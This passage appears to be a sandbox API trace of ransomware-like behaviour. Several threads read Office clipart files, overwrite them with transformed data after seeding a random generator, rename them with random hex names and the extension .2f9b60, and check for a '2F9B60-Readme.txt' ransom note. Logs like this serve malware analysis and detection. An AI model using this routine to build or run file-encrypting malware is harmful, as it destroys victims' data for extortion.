[0123.054] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="eb") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="89") returned 2 [0123.054] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="26") returned 2 [0123.054] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="8a") returned 2 [0123.054] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="5a") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="27") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="26") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="a8") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="49") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="07") returned 2 [0123.054] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="dc") returned 2 [0123.054] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="9e") returned 2 [0123.054] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="9d") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="ff") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="bc") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="57") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="34") returned 2 [0123.054] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="1b") returned 2 [0123.054] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="f3") returned 2 [0123.054] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="3c") returned 2 [0123.054] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="dd") returned 2 [0123.054] RtlInitAnsiString (in: DestinationString=0x1e6cfe68, SourceString="212debeb89268a5a2726a84907dc9e9dffbc57341bf33cdd" | out: DestinationString="212debeb89268a5a2726a84907dc9e9dffbc57341bf33cdd") [0123.054] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e6cfe38, SourceString="212debeb89268a5a2726a84907dc9e9dffbc57341bf33cdd", AllocateDestinationString=1 | out: DestinationString="212debeb89268a5a2726a84907dc9e9dffbc57341bf33cdd") returned 0x0 [0123.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced91d0 [0123.055] wcscat (in: _Dest=0x202b1b90, _Source="212debeb8926" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\212debeb8926") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\212debeb8926" [0123.055] wcscat (in: _Dest=0x202b1b90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\212debeb8926.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\212debeb8926.2f9b60" [0123.055] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\212debeb8926.2f9b60", NtPathName=0x1e6cfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\212debeb8926.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107b40 [0123.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0123.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202925e0) returned 1 [0123.392] NtQueryInformationFile (in: FileHandle=0xfe0, IoStatusBlock=0x1e6cfe78, FileInformation=0x1e6cfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e6cfe78, FileInformation=0x1e6cfe88) returned 0x0 [0123.392] NtSetInformationFile (FileHandle=0xfe0, IoStatusBlock=0x1e6cfe78, FileInformation=0x1e6cfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1b90) returned 1 [0123.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced91d0) returned 1 [0123.399] FlushFileBuffers (hFile=0xfe0) returned 1 [0123.403] CloseHandle (hObject=0xfe0) returned 1 [0123.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1eb0 [0123.404] wcscpy (in: _Dest=0x202b1eb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.404] wcscat (in: _Dest=0x202b1eb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0123.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a920) returned 1 Thread: id = 1497 os_tid = 0x19b8 [0120.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0122.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF", dwFileAttributes=0x20) returned 1 [0122.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfac [0122.764] GetFileSizeEx (in: hFile=0xfac, lpFileSize=0x1dd1f800 | out: lpFileSize=0x1dd1f800*=1536) returned 1 [0122.764] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0x5fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.764] ReadFile (in: hFile=0xfac, lpBuffer=0x1dd1f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dd1f7c8, lpOverlapped=0x0 | out: lpBuffer=0x1dd1f780*, lpNumberOfBytesRead=0x1dd1f7c8*=0x4, lpOverlapped=0x0) returned 1 [0122.806] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ae0 [0122.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c90 [0122.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc00 [0122.806] NtQuerySystemTime (in: CurrentTime=0x1dd1f6c0 | out: CurrentTime=0x1dd1f6c0*=132462177281926000) returned 0x0 [0122.806] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x4a2b18fe [0122.806] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0xf4d7ac0 [0122.806] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x5635fc2c [0122.806] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x6141b7ce [0122.806] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x65800de2 [0122.806] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x8d1aeaa [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x4f3d84c1 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x4fb4d2de [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x3d928df0 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x5cff05d1 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x21a55305 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x5e8ba62f [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x5ef6a53 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x152a85ed [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x27ecc672 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x302f7754 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x65492c1c [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x4e875d29 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x7421f7c9 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x186f2392 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x50bde041 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x317c11e4 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x42e696c8 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x49d18425 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x7afd9f85 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x7aaa5cd7 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x4bc965aa [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x47b427c1 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x11598c00 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x3cf0cff4 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x6e432636 [0122.807] RtlRandomEx (in: Seed=0x1dd1f6b0 | out: Seed=0x1dd1f6b0) returned 0x32c3616b [0122.815] ReadFile (in: hFile=0xfac, lpBuffer=0x1ceda600, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x1dd1f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesRead=0x1dd1f6b0*=0x600, lpOverlapped=0x0) returned 1 [0122.815] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.815] WriteFile (in: hFile=0xfac, lpBuffer=0x1cf076c0*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1dd1f6b4, lpOverlapped=0x0 | out: lpBuffer=0x1cf076c0*, lpNumberOfBytesWritten=0x1dd1f6b4*=0x600, lpOverlapped=0x0) returned 1 [0160.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1be0 [0160.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c10 [0160.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c10) returned 1 [0160.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf076c0) returned 1 [0160.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceda600) returned 1 [0160.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a90) returned 1 [0160.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0160.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1c10 [0160.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0160.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503a90 [0160.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c40 [0160.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c40) returned 1 [0160.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1c40 [0160.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1c70 [0160.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ca0 [0160.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ca0) returned 1 [0160.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a90) returned 1 [0160.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0160.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12a10 [0160.796] SetFilePointerEx (in: hFile=0xfac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.796] WriteFile (in: hFile=0xfac, lpBuffer=0x1ce12a10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1dd1f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1ce12a10*, lpNumberOfBytesWritten=0x1dd1f7d0*=0x10a, lpOverlapped=0x0) returned 1 [0165.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050edd0 [0165.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050edd0) returned 1 [0165.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050edd0 [0165.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eaa0 [0165.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eaa0) returned 1 [0165.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.435] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="af") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="3f") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="90") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="e6") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="47") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="82") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="d5") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="c5") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="fd") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="ac") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="8b") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="c5") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="04") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="df") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="3c") returned 2 [0165.435] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="05") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="70") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="05") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="25") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="1e") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="bf") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="15") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="9c") returned 2 [0165.436] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="62") returned 2 [0165.436] RtlInitAnsiString (in: DestinationString=0x1dd1f848, SourceString="af3f90e64782d5c5fdac8bc504df3c057005251ebf159c62" | out: DestinationString="af3f90e64782d5c5fdac8bc504df3c057005251ebf159c62") [0165.436] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dd1f818, SourceString="af3f90e64782d5c5fdac8bc504df3c057005251ebf159c62", AllocateDestinationString=1 | out: DestinationString="af3f90e64782d5c5fdac8bc504df3c057005251ebf159c62") returned 0x0 [0165.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14e30 [0165.436] RtlFreeAnsiString (AnsiString="a") [0165.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050edd0) returned 1 [0165.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12a10) returned 1 [0165.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c40) returned 1 [0165.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c70) returned 1 [0165.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1c10) returned 1 [0165.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1be0) returned 1 [0165.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c90) returned 1 [0165.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d990) returned 1 [0165.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee30) returned 1 [0165.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30b30 [0165.439] wcscat (in: _Dest=0x42c30b30, _Source="af3f90e64782" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3f90e64782") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3f90e64782" [0165.439] wcscat (in: _Dest=0x42c30b30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3f90e64782.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3f90e64782.2f9b60" [0165.439] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3f90e64782.2f9b60", NtPathName=0x1dd1f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3f90e64782.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22320 Thread: id = 1498 os_tid = 0x19bc [0120.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0122.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF", dwFileAttributes=0x20) returned 1 [0122.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfa0 [0122.787] GetFileSizeEx (in: hFile=0xfa0, lpFileSize=0x1e7afe20 | out: lpFileSize=0x1e7afe20*=4708) returned 1 [0122.788] SetFilePointerEx (in: hFile=0xfa0, liDistanceToMove=0x1260, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.788] ReadFile (in: hFile=0xfa0, lpBuffer=0x1e7afda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e7afde8, lpOverlapped=0x0 | out: lpBuffer=0x1e7afda0*, lpNumberOfBytesRead=0x1e7afde8*=0x4, lpOverlapped=0x0) returned 1 [0122.817] SetFilePointerEx (in: hFile=0xfa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ae0 [0122.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc00 [0122.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050edd0 [0122.817] NtQuerySystemTime (in: CurrentTime=0x1e7afce0 | out: CurrentTime=0x1e7afce0*=132462177281926000) returned 0x0 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1fcb03ca [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1b46827 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1ca99bd5 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1a3307d9 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x5a2e5068 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x60dae5bd [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x6d2b438a [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1ea12458 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1f7d4fff [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x22602965 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x2408c292 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1204ef00 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x32d46e7f [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x5edc59cc [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x55185bfb [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x4abed489 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x37116093 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x304fd70c [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x4498812 [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x6d103ace [0122.817] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x4ab76541 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x5e04f9f7 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x1a3307d9 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x18042d29 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x5638b9ad [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x7914e7f0 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x278b10a2 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x11da1640 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x58ab718f [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x71a38a6 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x6524a612 [0122.818] RtlRandomEx (in: Seed=0x1e7afcd0 | out: Seed=0x1e7afcd0) returned 0x2bd6d9c5 [0123.166] ReadFile (in: hFile=0xfa0, lpBuffer=0x201485a0, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x1e7afcd0, lpOverlapped=0x0 | out: lpBuffer=0x201485a0*, lpNumberOfBytesRead=0x1e7afcd0*=0x1264, lpOverlapped=0x0) returned 1 [0123.498] SetFilePointerEx (in: hFile=0xfa0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.498] WriteFile (in: hFile=0xfa0, lpBuffer=0x2013d170*, nNumberOfBytesToWrite=0x1264, lpNumberOfBytesWritten=0x1e7afcd4, lpOverlapped=0x0 | out: lpBuffer=0x2013d170*, lpNumberOfBytesWritten=0x1e7afcd4*=0x1264, lpOverlapped=0x0) returned 1 [0166.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a24b0 [0166.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a24e0 [0166.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a24e0) returned 1 [0166.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2013d170) returned 1 [0166.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201485a0) returned 1 [0166.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866f40) returned 1 [0166.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0166.067] 